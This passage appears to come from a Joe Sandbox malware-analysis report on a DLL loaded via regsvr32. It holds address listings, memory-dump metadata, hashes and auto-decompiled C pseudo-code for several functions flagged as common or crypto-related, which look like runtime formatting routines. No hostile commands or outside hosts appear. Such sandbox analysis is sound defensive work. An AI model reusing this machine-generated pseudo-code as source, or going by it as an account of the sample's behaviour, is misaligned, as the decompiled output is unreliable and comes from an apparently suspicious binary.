                                                                                                        0x18003a560
                                                                                                        0x18003a566
                                                                                                        0x18003a56b
                                                                                                        0x18003a56f
                                                                                                        0x18003a572
                                                                                                        0x18003a577
                                                                                                        0x18003a57b
                                                                                                        0x18003a588
                                                                                                        0x18003a58d
                                                                                                        0x18003a593
                                                                                                        0x18003a59a
                                                                                                        0x18003a59f
                                                                                                        0x18003a5a4
                                                                                                        0x18003a5b8
                                                                                                        0x18003a5ba
                                                                                                        0x18003a5bf
                                                                                                        0x18003a5c1
                                                                                                        0x18003a5c6
                                                                                                        0x18003a5c8
                                                                                                        0x18003a5cf
                                                                                                        0x18003a5d8
                                                                                                        0x18003a5e1
                                                                                                        0x18003a5eb
                                                                                                        0x18003a5f4
                                                                                                        0x18003a5f9
                                                                                                        0x18003a5fe
                                                                                                        0x18003a601
                                                                                                        0x18003a607
                                                                                                        0x18003a609
                                                                                                        0x18003a610
                                                                                                        0x18003a61d
                                                                                                        0x18003a623
                                                                                                        0x18003a62b
                                                                                                        0x18003a62d
                                                                                                        0x18003a630
                                                                                                        0x18003a634
                                                                                                        0x18003a63d
                                                                                                        0x18003a642
                                                                                                        0x18003a647
                                                                                                        0x18003a64c
                                                                                                        0x18003a658
                                                                                                        0x18003a65e
                                                                                                        0x18003a667
                                                                                                        0x18003a669
                                                                                                        0x18003a671
                                                                                                        0x18003a674
                                                                                                        0x18003a68f

                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID:
                                                                                                        • API String ID:
                                                                                                        • Opcode ID: 8e32f6abf8c7deed7189d7012f1c519d9c2eae7e5cfa65342fe80f6784fc3c7d
                                                                                                        • Instruction ID: 49de93afac1c025a17365babce6a7fccfd66fedb6ac1d9338f5ab1083f49eae3
                                                                                                        • Opcode Fuzzy Hash: 8e32f6abf8c7deed7189d7012f1c519d9c2eae7e5cfa65342fe80f6784fc3c7d
                                                                                                        • Instruction Fuzzy Hash: 7B51D572228A5886F7E79F29C8057EA3390E74E7D8F168105FE4A476D5CF76CA4AC700
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 0000000180038530 Relevance: .2, Instructions: 156COMMONCrypto
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 71%
                                                                                                        			E00000001180038530(void* __edx, long long __rbx, void* __rcx, long long __rsi, void* __r8, void* __r10, signed int _a8, long long _a16, long long _a24) {
				long long _v48;
				signed long long _v56;
				void* __rbp;
				void* _t62;
				void* _t66;
				void* _t72;
				void* _t73;
				signed int _t85;
				void* _t93;
				intOrPtr _t94;
				signed int _t98;
				intOrPtr _t112;
				void* _t116;
				void* _t118;
				signed int* _t133;
				void* _t136;
				void* _t139;
				void* _t142;
				signed long long _t143;

				_t139 = __r8;
				_t118 = __rcx;
				_a16 = __rbx;
				_a24 = __rsi;
				r8d =  *((intOrPtr*)(__rcx + 0x34));
				r15b = __edx;
				_t116 = __rcx;
				r12d = 8;
				_t93 = r8d - 5;
				if (_t93 > 0) goto 0x80038614;
				if (_t93 == 0) goto 0x8003858e;
				_t94 = r8d;
				if (_t94 == 0) goto 0x8003866b;
				r8d = r8d - 1;
				if (_t94 == 0) goto 0x800385e4;
				r8d = r8d - 1;
				if (_t94 == 0) goto 0x800385b5;
				r8d = r8d - 1;
				if (_t94 == 0) goto 0x8003866b;
				if (r8d != 1) goto 0x80038637;
				_a8 = _a8 & 0x00000000;
				if (( *(__rcx + 0x28) >> 0x00000004 & 0x00000001) == 0) goto 0x80038694;
				E00000001180034E38( *(__rcx + 0x28) >> 4, __rcx, __rcx,  &_a8);
				goto 0x80038699;
				_a8 = _a8 & 0x00000000;
				if (( *(__rcx + 0x28) >> 0x00000004 & 0x00000001) == 0) goto 0x800385da;
				_t62 = E00000001180032708( *(__rcx + 0x28) >> 4, __rcx, __rcx,  &_a8);
				goto 0x80038699;
				E00000001180032DC8(_t62, __rcx, __rcx,  &_a8);
				goto 0x80038699;
				_a8 = _a8 & 0x00000000;
				_t98 = dil &  *(__rcx + 0x28) >> 0x00000004;
				if (_t98 == 0) goto 0x8003860a;
				_t66 = E00000001180031DF0( *(__rcx + 0x28) >> 4, __rcx, __rcx,  &_a8);
				goto 0x80038699;
				E00000001180032280(_t66, __rcx, __rcx,  &_a8);
				goto 0x80038699;
				r8d = r8d - 6;
				if (_t98 == 0) goto 0x8003858e;
				r8d = r8d - 1;
				if (_t98 == 0) goto 0x8003858e;
				r8d = r8d - 2;
				if (_t98 == 0) goto 0x8003858e;
				goto 0x8003857a;
				_t112 =  *((intOrPtr*)(__rcx + 8));
				r9d = 0;
				r8d = 0;
				 *((char*)(_t112 + 0x30)) = 1;
				 *((intOrPtr*)(_t112 + 0x2c)) = 0x16;
				_v48 =  *((intOrPtr*)(__rcx + 8));
				_v56 = _v56 & 0x00000000;
				E00000001180025880( *((intOrPtr*)(__rcx + 8)), __rcx, __rcx,  &_a8, __rcx + 0x28, _t136, _t139);
				goto 0x80038745;
				_a8 = _a8 & 0x00000000;
				_t133 = _t118 + 0x28;
				if (0 == 0) goto 0x8003868d;
				_t72 = E00000001180033250( *_t133 >> 4, _t116, _t118,  &_a8);
				goto 0x80038699;
				_t73 = E000000011800336D8(_t72, _t116, _t118,  &_a8);
				goto 0x80038699;
				E000000011800352C0(_t73, _t116, _t118,  &_a8);
				if (0 == 0) goto 0x80038664;
				if ( *((intOrPtr*)(_t116 + 0x470)) != 1) goto 0x800386b3;
				if ( *((intOrPtr*)(_t116 + 0x474)) != 1) goto 0x80038743;
				_t143 = _a8;
				if (0 == 0) goto 0x800386cf;
				if (_t143 >= 0) goto 0x800386cf;
				_t144 =  ~_t143;
				_t85 =  *_t133 | 0x00000040;
				 *_t133 = _t85;
				if ( *((intOrPtr*)(_t116 + 0x30)) >= 0) goto 0x800386de;
				 *((intOrPtr*)(_t116 + 0x30)) = 1;
				goto 0x800386f4;
				 *_t133 = _t85 & 0xfffffff7;
				E00000001180031C9C(_t116, _t116 + 0x50,  *((intOrPtr*)(_t116 + 0x30)), _t133,  *((intOrPtr*)(_t116 + 8)));
				if ( ~_t143 != 0) goto 0x800386fc;
				 *_t133 =  *_t133 & 0xffffffdf;
				 *((char*)(_t116 + 0x4c)) = 0;
				r8b = r15b;
				if (_t142 != _t142) goto 0x80038715;
				E0000000118003D0C4(_t116, _t116,  ~_t143);
				goto 0x8003871d;
				E0000000118003BB90(r14d, _t116, _t116, _t144);
				if (0 == 0) goto 0x80038743;
				if ( *((intOrPtr*)(_t116 + 0x48)) == 0) goto 0x80038735;
				if ( *((char*)( *((intOrPtr*)(_t116 + 0x40)))) == 0x30) goto 0x80038743;
				 *((long long*)(_t116 + 0x40)) =  *((long long*)(_t116 + 0x40)) - 1;
				 *((char*)( *((intOrPtr*)(_t116 + 0x40)))) = 0x30;
				 *((intOrPtr*)(_t116 + 0x48)) =  *((intOrPtr*)(_t116 + 0x48)) + 1;
				return 1;
			}






















                                                                                                        0x180038530
                                                                                                        0x180038530
                                                                                                        0x180038530
                                                                                                        0x180038535
                                                                                                        0x180038549
                                                                                                        0x18003854d
                                                                                                        0x180038550
                                                                                                        0x180038553
                                                                                                        0x180038559
                                                                                                        0x18003855d
                                                                                                        0x180038563
                                                                                                        0x180038565
                                                                                                        0x180038568
                                                                                                        0x18003856e
                                                                                                        0x180038572
                                                                                                        0x180038574
                                                                                                        0x180038578
                                                                                                        0x18003857a
                                                                                                        0x18003857e
                                                                                                        0x180038588
                                                                                                        0x18003858e
                                                                                                        0x1800385a5
                                                                                                        0x1800385ab
                                                                                                        0x1800385b0
                                                                                                        0x1800385b5
                                                                                                        0x1800385ce
                                                                                                        0x1800385d0
                                                                                                        0x1800385d5
                                                                                                        0x1800385da
                                                                                                        0x1800385df
                                                                                                        0x1800385e4
                                                                                                        0x1800385fb
                                                                                                        0x1800385fe
                                                                                                        0x180038600
                                                                                                        0x180038605
                                                                                                        0x18003860a
                                                                                                        0x18003860f
                                                                                                        0x180038614
                                                                                                        0x180038618
                                                                                                        0x18003861e
                                                                                                        0x180038622
                                                                                                        0x180038628
                                                                                                        0x18003862c
                                                                                                        0x180038632
                                                                                                        0x180038637
                                                                                                        0x18003863b
                                                                                                        0x18003863e
                                                                                                        0x180038643
                                                                                                        0x180038647
                                                                                                        0x180038654
                                                                                                        0x180038659
                                                                                                        0x18003865f
                                                                                                        0x180038666
                                                                                                        0x18003866b
                                                                                                        0x180038670
                                                                                                        0x180038684
                                                                                                        0x180038686
                                                                                                        0x18003868b
                                                                                                        0x18003868d
                                                                                                        0x180038692
                                                                                                        0x180038694
                                                                                                        0x18003869b
                                                                                                        0x1800386a4
                                                                                                        0x1800386ad
                                                                                                        0x1800386b7
                                                                                                        0x1800386c0
                                                                                                        0x1800386c5
                                                                                                        0x1800386c7
                                                                                                        0x1800386ca
                                                                                                        0x1800386cd
                                                                                                        0x1800386d3
                                                                                                        0x1800386d5
                                                                                                        0x1800386dc
                                                                                                        0x1800386e9
                                                                                                        0x1800386ef
                                                                                                        0x1800386f7
                                                                                                        0x1800386f9
                                                                                                        0x1800386fc
                                                                                                        0x180038700
                                                                                                        0x180038709
                                                                                                        0x18003870e
                                                                                                        0x180038713
                                                                                                        0x180038718
                                                                                                        0x180038724
                                                                                                        0x18003872a
                                                                                                        0x180038733
                                                                                                        0x180038735
                                                                                                        0x18003873d
                                                                                                        0x180038740
                                                                                                        0x18003875b

                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID:
                                                                                                        • API String ID:
                                                                                                        • Opcode ID: fa6c7a981612be520fda2515ff6ed117ea314972714688611943350cd1a2233b
                                                                                                        • Instruction ID: 71df572c5fd619598e67ff467a5cc4468fcbd49f1eb74aa22cd4e8234a581587
                                                                                                        • Opcode Fuzzy Hash: fa6c7a981612be520fda2515ff6ed117ea314972714688611943350cd1a2233b
                                                                                                        • Instruction Fuzzy Hash: 7151A07222475886F7E78E29C0057EA23A0FB497D8F168141FB891B6D5CF76CA4ADB01
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 02429360 Relevance: .1, Instructions: 147COMMON
                                                                                                        Download Yara Rule
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID:
                                                                                                        • API String ID:
                                                                                                        • Opcode ID: f817b85356f16491b1ee2c18874f92f5c1326a857d6773873fc03a33ae5c3d3a
                                                                                                        • Instruction ID: 773f4f80deaf28c98a8a66b1a2834ad4310f171f4a635d5e60f6cfe018acfbb0
                                                                                                        • Opcode Fuzzy Hash: f817b85356f16491b1ee2c18874f92f5c1326a857d6773873fc03a33ae5c3d3a
                                                                                                        • Instruction Fuzzy Hash: 54512670D143188BDB58CFA9D4894DDBBF1FB48314F10852EE856B7291CBB89848CF69
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 0000000180038120 Relevance: .1, Instructions: 146COMMONCrypto
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 73%
                                                                                                        			E00000001180038120(void* __edx, long long __rbx, void* __rcx, void* __rdx, long long __rdi, long long __rsi, long long __rbp, void* __r8, void* __r10, void* _a8, void* _a16, void* _a24, void* _a32) {
				long long _v16;
				signed long long _v24;
				signed int _t83;
				void* _t98;
				intOrPtr _t99;
				signed int _t106;
				void* _t114;
				intOrPtr _t118;
				void* _t123;
				intOrPtr* _t126;
				intOrPtr _t127;
				char* _t128;
				intOrPtr* _t129;
				intOrPtr _t144;
				void* _t148;
				void* _t153;
				void* _t154;

				_t153 = __r10;
				_t114 = _t148;
				 *((long long*)(_t114 + 8)) = __rbx;
				 *((long long*)(_t114 + 0x10)) = __rbp;
				 *((long long*)(_t114 + 0x18)) = __rsi;
				 *((long long*)(_t114 + 0x20)) = __rdi;
				_push(_t154);
				r8d =  *((intOrPtr*)(__rcx + 0x34));
				bpl = __edx;
				_t123 = __rcx;
				r14d = 8;
				_t98 = r8d - 5;
				if (_t98 > 0) goto 0x8003821c;
				if (_t98 == 0) goto 0x80038182;
				_t99 = r8d;
				if (_t99 == 0) goto 0x80038273;
				r8d = r8d - 1;
				if (_t99 == 0) goto 0x800381f3;
				r8d = r8d - 1;
				if (_t99 == 0) goto 0x800381cb;
				r8d = r8d - 1;
				if (_t99 == 0) goto 0x80038273;
				if (r8d != 1) goto 0x8003823f;
				_t83 =  *(__rcx + 0x28);
				_t126 =  *((intOrPtr*)(__rcx + 0x18));
				 *((long long*)(__rcx + 0x18)) = _t126 + 8;
				if ((_t83 >> 0x00000004 & 0x00000001) == 0) goto 0x800381b5;
				if ( *_t126 >= 0) goto 0x800381b5;
				 *(__rcx + 0x28) = _t83 | 0x00000040;
				if ( *((intOrPtr*)(__rcx + 0x30)) >= 0) goto 0x8003829f;
				 *((intOrPtr*)(__rcx + 0x30)) = 1;
				goto 0x800382b6;
				_t127 =  *((intOrPtr*)(_t126 + 0x18));
				 *((long long*)(__rcx + 0x18)) = _t127 + 8;
				if (( *(_t126 + 0x28) >> 0x00000004 & 0x00000001) == 0) goto 0x800381ee;
				goto 0x8003819e;
				goto 0x8003819e;
				_t128 =  *((intOrPtr*)(_t127 + 0x18));
				_t106 = dil &  *(_t127 + 0x28) >> 0x00000004;
				 *((long long*)(__rcx + 0x18)) = _t128 + 8;
				if (_t106 == 0) goto 0x80038217;
				goto 0x8003819e;
				goto 0x8003819e;
				r8d = r8d - 6;
				if (_t106 == 0) goto 0x80038182;
				r8d = r8d - 1;
				if (_t106 == 0) goto 0x80038182;
				r8d = r8d - 2;
				if (_t106 == 0) goto 0x80038182;
				goto 0x8003816e;
				_t118 =  *((intOrPtr*)(_t128 + 8));
				r9d = 0;
				r8d = 0;
				 *((char*)(_t118 + 0x30)) = 1;
				 *((intOrPtr*)(_t118 + 0x2c)) = 0x16;
				_v16 =  *((intOrPtr*)(_t128 + 8));
				_v24 = _v24 & 0x00000000;
				E00000001180025880( *((intOrPtr*)(_t128 + 8)), __rcx, _t128, __rdx,  *_t128, __rbp, __r8);
				goto 0x8003830e;
				_t129 =  *((intOrPtr*)(_t128 + 0x18));
				 *((long long*)(_t123 + 0x18)) = _t129 + 8;
				if (0 == 0) goto 0x80038298;
				_t144 =  *_t129;
				goto 0x8003819e;
				goto 0x8003819e;
				 *(_t123 + 0x28) =  *(_t128 + 0x28) & 0xfffffff7;
				E00000001180031D44(_t123, _t123 + 0x50,  *((intOrPtr*)(_t123 + 0x30)), _t144,  *((intOrPtr*)(_t123 + 8)));
				if (_t144 != 0) goto 0x800382bf;
				 *(_t123 + 0x28) =  *(_t123 + 0x28) & 0xffffffdf;
				 *((char*)(_t123 + 0x4c)) = 1;
				r8b = bpl;
				if (_t154 != _t154) goto 0x800382d8;
				E0000000118003CF8C(0, _t123, _t144, _t153);
				goto 0x800382df;
				E0000000118003BA60(0,  *_t129, _t123, _t153);
				if (0 == 0) goto 0x8003830c;
				if ( *((intOrPtr*)(_t123 + 0x48)) == 0) goto 0x800382fd;
				if ( *((intOrPtr*)( *((intOrPtr*)(_t123 + 0x40)))) == 0x30) goto 0x8003830c;
				 *((long long*)(_t123 + 0x40)) =  *((long long*)(_t123 + 0x40)) + 0xfffffffe;
				 *((short*)( *((intOrPtr*)(_t123 + 0x40)))) = 0x30;
				 *((intOrPtr*)(_t123 + 0x48)) =  *((intOrPtr*)(_t123 + 0x48)) + 1;
				return 1;
			}




















                                                                                                        0x180038120
                                                                                                        0x180038120
                                                                                                        0x180038123
                                                                                                        0x180038127
                                                                                                        0x18003812b
                                                                                                        0x18003812f
                                                                                                        0x180038133
                                                                                                        0x180038139
                                                                                                        0x18003813d
                                                                                                        0x180038140
                                                                                                        0x180038143
                                                                                                        0x180038149
                                                                                                        0x18003814d
                                                                                                        0x180038153
                                                                                                        0x180038155
                                                                                                        0x180038158
                                                                                                        0x18003815e
                                                                                                        0x180038162
                                                                                                        0x180038168
                                                                                                        0x18003816c
                                                                                                        0x18003816e
                                                                                                        0x180038172
                                                                                                        0x18003817c
                                                                                                        0x180038182
                                                                                                        0x180038188
                                                                                                        0x180038197
                                                                                                        0x1800381a5
                                                                                                        0x1800381aa
                                                                                                        0x1800381b2
                                                                                                        0x1800381b9
                                                                                                        0x1800381bf
                                                                                                        0x1800381c6
                                                                                                        0x1800381d3
                                                                                                        0x1800381e2
                                                                                                        0x1800381e6
                                                                                                        0x1800381ec
                                                                                                        0x1800381f1
                                                                                                        0x1800381fb
                                                                                                        0x180038204
                                                                                                        0x18003820b
                                                                                                        0x18003820f
                                                                                                        0x180038215
                                                                                                        0x18003821a
                                                                                                        0x18003821c
                                                                                                        0x180038220
                                                                                                        0x180038226
                                                                                                        0x18003822a
                                                                                                        0x180038230
                                                                                                        0x180038234
                                                                                                        0x18003823a
                                                                                                        0x18003823f
                                                                                                        0x180038243
                                                                                                        0x180038246
                                                                                                        0x18003824b
                                                                                                        0x18003824f
                                                                                                        0x18003825c
                                                                                                        0x180038261
                                                                                                        0x180038267
                                                                                                        0x18003826e
                                                                                                        0x18003827b
                                                                                                        0x18003828a
                                                                                                        0x18003828e
                                                                                                        0x180038290
                                                                                                        0x180038293
                                                                                                        0x18003829a
                                                                                                        0x1800382aa
                                                                                                        0x1800382b1
                                                                                                        0x1800382b9
                                                                                                        0x1800382bb
                                                                                                        0x1800382bf
                                                                                                        0x1800382c3
                                                                                                        0x1800382cc
                                                                                                        0x1800382d1
                                                                                                        0x1800382d6
                                                                                                        0x1800382da
                                                                                                        0x1800382e7
                                                                                                        0x1800382f2
                                                                                                        0x1800382fb
                                                                                                        0x1800382fd
                                                                                                        0x180038306
                                                                                                        0x180038309
                                                                                                        0x180038328

                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID:
                                                                                                        • API String ID:
                                                                                                        • Opcode ID: a2935dddc3695452bdd629d4a37dc6eea7bff0178ac916aa4dd4c2320fc3b4f9
                                                                                                        • Instruction ID: 3129d21b568ecfff13cb27f7674f925f2195867a04103925ff86f10becff7f60
                                                                                                        • Opcode Fuzzy Hash: a2935dddc3695452bdd629d4a37dc6eea7bff0178ac916aa4dd4c2320fc3b4f9
                                                                                                        • Instruction Fuzzy Hash: F551C632210B5886EBB78B29C04039A33A5EB4CF98F258151EE4957798CF32DE47D740
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 000000018003B320 Relevance: .1, Instructions: 146COMMONCrypto
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 72%
                                                                                                        			E0000000118003B320(void* __edx, long long __rbx, void* __rcx, void* __rdx, long long __rdi, long long __rsi, long long __rbp, void* __r8, void* __r10, void* _a8, void* _a16, void* _a24, void* _a32) {
				long long _v16;
				signed long long _v24;
				signed int _t83;
				void* _t98;
				intOrPtr _t99;
				signed int _t106;
				void* _t114;
				intOrPtr _t118;
				void* _t123;
				intOrPtr* _t126;
				intOrPtr _t127;
				char* _t128;
				intOrPtr* _t129;
				intOrPtr _t144;
				void* _t148;
				void* _t154;

				_t114 = _t148;
				 *((long long*)(_t114 + 8)) = __rbx;
				 *((long long*)(_t114 + 0x10)) = __rbp;
				 *((long long*)(_t114 + 0x18)) = __rsi;
				 *((long long*)(_t114 + 0x20)) = __rdi;
				_push(_t154);
				r8d =  *((intOrPtr*)(__rcx + 0x34));
				bpl = __edx;
				_t123 = __rcx;
				r14d = 8;
				_t98 = r8d - 5;
				if (_t98 > 0) goto 0x8003b41c;
				if (_t98 == 0) goto 0x8003b382;
				_t99 = r8d;
				if (_t99 == 0) goto 0x8003b473;
				r8d = r8d - 1;
				if (_t99 == 0) goto 0x8003b3f3;
				r8d = r8d - 1;
				if (_t99 == 0) goto 0x8003b3cb;
				r8d = r8d - 1;
				if (_t99 == 0) goto 0x8003b473;
				if (r8d != 1) goto 0x8003b43f;
				_t83 =  *(__rcx + 0x28);
				_t126 =  *((intOrPtr*)(__rcx + 0x18));
				 *((long long*)(__rcx + 0x18)) = _t126 + 8;
				if ((_t83 >> 0x00000004 & 0x00000001) == 0) goto 0x8003b3b5;
				if ( *_t126 >= 0) goto 0x8003b3b5;
				 *(__rcx + 0x28) = _t83 | 0x00000040;
				if ( *((intOrPtr*)(__rcx + 0x30)) >= 0) goto 0x8003b49f;
				 *((intOrPtr*)(__rcx + 0x30)) = 1;
				goto 0x8003b4b6;
				_t127 =  *((intOrPtr*)(_t126 + 0x18));
				 *((long long*)(__rcx + 0x18)) = _t127 + 8;
				if (( *(_t126 + 0x28) >> 0x00000004 & 0x00000001) == 0) goto 0x8003b3ee;
				goto 0x8003b39e;
				goto 0x8003b39e;
				_t128 =  *((intOrPtr*)(_t127 + 0x18));
				_t106 = dil &  *(_t127 + 0x28) >> 0x00000004;
				 *((long long*)(__rcx + 0x18)) = _t128 + 8;
				if (_t106 == 0) goto 0x8003b417;
				goto 0x8003b39e;
				goto 0x8003b39e;
				r8d = r8d - 6;
				if (_t106 == 0) goto 0x8003b382;
				r8d = r8d - 1;
				if (_t106 == 0) goto 0x8003b382;
				r8d = r8d - 2;
				if (_t106 == 0) goto 0x8003b382;
				goto 0x8003b36e;
				_t118 =  *((intOrPtr*)(_t128 + 8));
				r9d = 0;
				r8d = 0;
				 *((char*)(_t118 + 0x30)) = 1;
				 *((intOrPtr*)(_t118 + 0x2c)) = 0x16;
				_v16 =  *((intOrPtr*)(_t128 + 8));
				_v24 = _v24 & 0x00000000;
				E00000001180025880( *((intOrPtr*)(_t128 + 8)), __rcx, _t128, __rdx,  *_t128, __rbp, __r8);
				goto 0x8003b50e;
				_t129 =  *((intOrPtr*)(_t128 + 0x18));
				 *((long long*)(_t123 + 0x18)) = _t129 + 8;
				if (0 == 0) goto 0x8003b498;
				_t144 =  *_t129;
				goto 0x8003b39e;
				goto 0x8003b39e;
				 *(_t123 + 0x28) =  *(_t128 + 0x28) & 0xfffffff7;
				E00000001180031D44(_t123, _t123 + 0x50,  *((intOrPtr*)(_t123 + 0x30)), _t144,  *((intOrPtr*)(_t123 + 8)));
				if (_t144 != 0) goto 0x8003b4bf;
				 *(_t123 + 0x28) =  *(_t123 + 0x28) & 0xffffffdf;
				 *((char*)(_t123 + 0x4c)) = 1;
				r8b = bpl;
				if (_t154 != _t154) goto 0x8003b4d8;
				E0000000118003DF04( *(_t128 + 0x28) & 0xfffffff7, _t123, _t144,  *((intOrPtr*)(_t123 + 8)));
				goto 0x8003b4df;
				E0000000118003C9A4( *_t129, _t123,  *((intOrPtr*)(_t123 + 8)));
				if (0 == 0) goto 0x8003b50c;
				if ( *((intOrPtr*)(_t123 + 0x48)) == 0) goto 0x8003b4fd;
				if ( *((intOrPtr*)( *((intOrPtr*)(_t123 + 0x40)))) == 0x30) goto 0x8003b50c;
				 *((long long*)(_t123 + 0x40)) =  *((long long*)(_t123 + 0x40)) + 0xfffffffe;
				 *((short*)( *((intOrPtr*)(_t123 + 0x40)))) = 0x30;
				 *((intOrPtr*)(_t123 + 0x48)) =  *((intOrPtr*)(_t123 + 0x48)) + 1;
				return 1;
			}



















                                                                                                        0x18003b320
                                                                                                        0x18003b323
                                                                                                        0x18003b327
                                                                                                        0x18003b32b
                                                                                                        0x18003b32f
                                                                                                        0x18003b333
                                                                                                        0x18003b339
                                                                                                        0x18003b33d
                                                                                                        0x18003b340
                                                                                                        0x18003b343
                                                                                                        0x18003b349
                                                                                                        0x18003b34d
                                                                                                        0x18003b353
                                                                                                        0x18003b355
                                                                                                        0x18003b358
                                                                                                        0x18003b35e
                                                                                                        0x18003b362
                                                                                                        0x18003b368
                                                                                                        0x18003b36c
                                                                                                        0x18003b36e
                                                                                                        0x18003b372
                                                                                                        0x18003b37c
                                                                                                        0x18003b382
                                                                                                        0x18003b388
                                                                                                        0x18003b397
                                                                                                        0x18003b3a5
                                                                                                        0x18003b3aa
                                                                                                        0x18003b3b2
                                                                                                        0x18003b3b9
                                                                                                        0x18003b3bf
                                                                                                        0x18003b3c6
                                                                                                        0x18003b3d3
                                                                                                        0x18003b3e2
                                                                                                        0x18003b3e6
                                                                                                        0x18003b3ec
                                                                                                        0x18003b3f1
                                                                                                        0x18003b3fb
                                                                                                        0x18003b404
                                                                                                        0x18003b40b
                                                                                                        0x18003b40f
                                                                                                        0x18003b415
                                                                                                        0x18003b41a
                                                                                                        0x18003b41c
                                                                                                        0x18003b420
                                                                                                        0x18003b426
                                                                                                        0x18003b42a
                                                                                                        0x18003b430
                                                                                                        0x18003b434
                                                                                                        0x18003b43a
                                                                                                        0x18003b43f
                                                                                                        0x18003b443
                                                                                                        0x18003b446
                                                                                                        0x18003b44b
                                                                                                        0x18003b44f
                                                                                                        0x18003b45c
                                                                                                        0x18003b461
                                                                                                        0x18003b467
                                                                                                        0x18003b46e
                                                                                                        0x18003b47b
                                                                                                        0x18003b48a
                                                                                                        0x18003b48e
                                                                                                        0x18003b490
                                                                                                        0x18003b493
                                                                                                        0x18003b49a
                                                                                                        0x18003b4aa
                                                                                                        0x18003b4b1
                                                                                                        0x18003b4b9
                                                                                                        0x18003b4bb
                                                                                                        0x18003b4bf
                                                                                                        0x18003b4c3
                                                                                                        0x18003b4cc
                                                                                                        0x18003b4d1
                                                                                                        0x18003b4d6
                                                                                                        0x18003b4da
                                                                                                        0x18003b4e7
                                                                                                        0x18003b4f2
                                                                                                        0x18003b4fb
                                                                                                        0x18003b4fd
                                                                                                        0x18003b506
                                                                                                        0x18003b509
                                                                                                        0x18003b528

                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID:
                                                                                                        • API String ID:
                                                                                                        • Opcode ID: dcce15e8b1b6bab21545d3dc9c1644e3cb6e2850d35a17fba03a05b8d123104a
                                                                                                        • Instruction ID: 34ade0c50e9ec8b712111b396f641a512e30e8911b745c6fc98c66bdf4f4f2fe
                                                                                                        • Opcode Fuzzy Hash: dcce15e8b1b6bab21545d3dc9c1644e3cb6e2850d35a17fba03a05b8d123104a
                                                                                                        • Instruction Fuzzy Hash: 3C51963661066886E7A78B29C0407AE37A0E74CF9CF268111EF4997795CF36DE4BC740
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 00000001800393D4 Relevance: .1, Instructions: 146COMMONCrypto
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 66%
